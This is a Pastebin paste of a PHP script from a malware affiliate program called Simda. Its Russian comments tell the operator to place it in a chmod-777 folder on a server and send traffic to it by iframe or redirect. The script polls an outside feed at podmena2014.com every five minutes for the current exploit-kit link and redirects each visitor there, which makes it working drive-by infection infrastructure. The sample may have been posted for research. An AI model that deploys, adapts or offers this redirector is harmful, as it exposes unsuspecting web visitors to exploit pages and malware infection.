Advertisement
Kafeine

SimdaAffiliate_UpdateScript

Nov 5th, 2013
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.10 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. 1) Создайте папку с правами за запись (chmod 777) и поместите туда этот скрипт под ЛЮБОЕ_НАЗВАНИЕ.php
  5. 2) Поставьте iframe или редирект на данный скрипт и лейте траф
  6. 3) Иногда посматривайте лог файл log.txt
  7. */
  8.  
  9. //----------
  10. // обновлять линк каждые 5 минут
  11. $secToUpdate = 60*5;
  12.  
  13. // сюда будет сохраняться актуальный линк на сплойт
  14. define(SpLinkPath, './redirect.txt');
  15. // лог файл
  16. define(LogPath, './log.txt');
  17. //----------
  18.  
  19. $SpFeed = 'http://podmena2014.com/getspllink.php?login=[redacted]&auth=[redacted]';
  20.  
  21. $LocalLinkData = @file_get_contents(SpLinkPath);
  22.  
  23. if (!$LocalLinkData || (time() - filemtime(SpLinkPath) > $secToUpdate))
  24. {
  25.     $LinkData = @trim(CurlGet($SpFeed));
  26.     if($LinkData && substr_count($LinkData, 'http://'))
  27.     {
  28.         if(@file_put_contents(SpLinkPath, $LinkData))
  29.         {
  30.             LogSet('UPDATED');
  31.         }
  32.         else
  33.         {
  34.             LogSet('Set CHMOD 777 to dir');
  35.         }
  36.        
  37.         Header('Location: '.$LinkData);
  38.     }
  39.     else
  40.     {
  41.         LogSet('Network error or format.  Cant get link data');
  42.     }
  43. }
  44. else if($LocalLinkData && substr_count($LocalLinkData, 'http://'))
  45. {
  46.     Header('Location: '.$LocalLinkData);
  47.     exit;
  48. }
  49. else
  50. {
  51.     LogSet('ERROR');
  52. }
  53.  
  54.  
  55.  
  56. function LogSet($sData)
  57. {
  58.     $dT = date("Y-m-d H:i:s");
  59.     $sLogStr = "$dT : $sData\r\n";
  60.     //print $sLogStr.'<br>';
  61.    
  62.     if(WriteToFile(LogPath, $sLogStr))
  63.     {
  64.         return true;
  65.     }
  66.     else
  67.     {
  68.         return false;
  69.     }
  70. }
  71.  
  72.  
  73. function WriteToFile($path, $content)
  74. {
  75.      $fp = fopen($path, 'a');
  76.      if(!$fp) return false;
  77.      fputs($fp,$content);
  78.      fclose($fp);
  79.      @chmod($path, 0777);
  80.      return true;
  81. }
  82.  
  83. function CurlGet($Url)
  84. {
  85.   $ch = curl_init();
  86.   curl_setopt($ch, CURLOPT_URL, $Url);
  87.   curl_setopt($ch, CURLOPT_HEADER, false);
  88.   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  89.   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  90.   curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla');
  91.   $data = curl_exec($ch);
  92.   curl_close($ch);
  93.   return $data;
  94. }
  95.  
  96.  
  97. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement